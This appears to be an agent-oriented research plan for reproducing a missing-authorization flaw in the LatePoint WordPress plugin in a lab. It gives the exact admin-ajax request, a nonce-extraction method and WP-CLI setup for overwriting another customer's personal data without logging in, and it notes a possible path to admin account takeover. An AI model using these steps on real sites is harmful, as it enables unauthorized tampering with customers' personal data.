LatePoint <= 5.6.1 - Missing Authorization to Unauthenticated Arbitrary Customer Data Modification via process_step_customer() Booking Form Customer Step

This research plan targets CVE-2026-11398, a missing authorization vulnerability in the LatePoint plugin (<= 5.6.1). The vulnerability allows unauthenticated attackers to modify customer PII (First Name, Last Name, Phone, and Notes) by exploiting the process_step_customer() logic when guest bookings are enabled.

---

1. Vulnerability Summary

The vulnerability exists within the process_step_customer() method, which handles the customer information step in the LatePoint booking process. When the plugin is configured to allow guest bookings (i.e., is_customer_auth_disabled() returns true), the code path for unauthenticated users fails to verify if the requester has the authority to modify an existing customer record identified by email. If an attacker submits a booking form using the email address of an existing customer (including administrators who have customer records), the plugin updates that customer's metadata with the attacker-supplied values.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action: latepoint_route_call (The standard AJAX gateway for LatePoint)
• Route: bookings__process_step_customer (The specific controller/action route)
• Vulnerable Parameter: customer[] array (specifically email, first_name, last_name, phone, notes)
• Authentication: None (Unauthenticated)
• Precondition: Guest bookings must be enabled in LatePoint settings.

3. Code Flow

1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php?action=latepoint_route_call.
2. Routing: The LatePoint router processes route_name=bookings__process_step_customer.
3. Vulnerable Function: The BookingsController invokes process_step_customer().
4. Authorization Check: The function checks is_customer_auth_disabled(). If true, it proceeds to process the customer parameters.
5. Lookup & Update: The code searches for an existing customer by the provided email. If found, it populates the customer object with the new first_name, last_name, phone, and notes and calls save().
6. Sink: The database is updated with attacker-controlled PII without requiring a password or session token matching the target email.

4. Nonce Acquisition Strategy

LatePoint typically requires a nonce for its AJAX routing. This nonce is usually generated for the latepoint_route_call action.

1. Identify Shortcode: The booking form is rendered via the [latepoint_book_form] shortcode.
2. Create Trigger Page:

   wp post create --post_type=page --post_title="Booking" --post_status=publish --post_content='[latepoint_book_form]'
   

3. Navigate and Extract: Use browser_navigate to visit the newly created page.
4. JS Evaluation: The LatePoint settings and nonces are typically localized into a global JavaScript object. Based on the plugin structure, look for the latepoint_helper object.
   • Action: browser_eval("window.latepoint_helper?.latepoint_nonce") (inferred).
   • Alternative: If not in latepoint_helper, check for latepoint_settings.nonce.

5. Exploitation Strategy

Once the nonce and a target email (e.g., the admin email) are obtained, perform the unauthorized modification.

• Request Method: POST
• URL: http://<target>/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • action: latepoint_route_call
  • route_name: bookings__process_step_customer
  • latepoint_nonce: <EXTRACTED_NONCE>
  • customer[email]: <TARGET_CUSTOMER_EMAIL>
  • customer[first_name]: Modified_By_Exploit
  • customer[last_name]: CVE-2026-11398
  • customer[phone]: 555-000-9999
  • customer[notes]: Unauthorized data modification successful.

6. Test Data Setup

1. Create a Target Customer:

   # Create a customer associated with the admin email
   wp user create victim victim@example.com --role=administrator
   # LatePoint creates customer records when a user interacts with the booking system.
   # We can force this or manually create a customer record in the latepoint_customers table.
   

2. Enable Guest Bookings:
   Navigate to LatePoint Settings -> Customers and ensure "Allow Guest Bookings" is enabled.
   • Alternatively, via WP-CLI (if the option name is known):
     wp option update latepoint_is_customer_auth_disabled "1" (inferred).

7. Expected Results

• The server should return a JSON response indicating success (e.g., {"status": "success", ...}).
• The customer record associated with the target email will have its PII updated to the attacker-supplied values.

8. Verification Steps

After sending the exploit request, verify the modification using WP-CLI to inspect the LatePoint customer data:

# Check the latepoint_customers table
wp db query "SELECT first_name, last_name, phone, notes FROM wp_latepoint_customers WHERE email='victim@example.com';"

If the output reflects "Modified_By_Exploit", the vulnerability is confirmed.

9. Alternative Approaches

• No Nonce Path: Check if process_step_customer() can be reached via a direct REST API route if registered, which might have different (or missing) nonce requirements.
• Targeting Admins: If the admin has never booked an appointment, they may not have a record in wp_latepoint_customers. In this case, the exploit might create a new customer record with the admin's email, which could lead to account takeover if the plugin later links WordPress users to LatePoint customers based solely on email.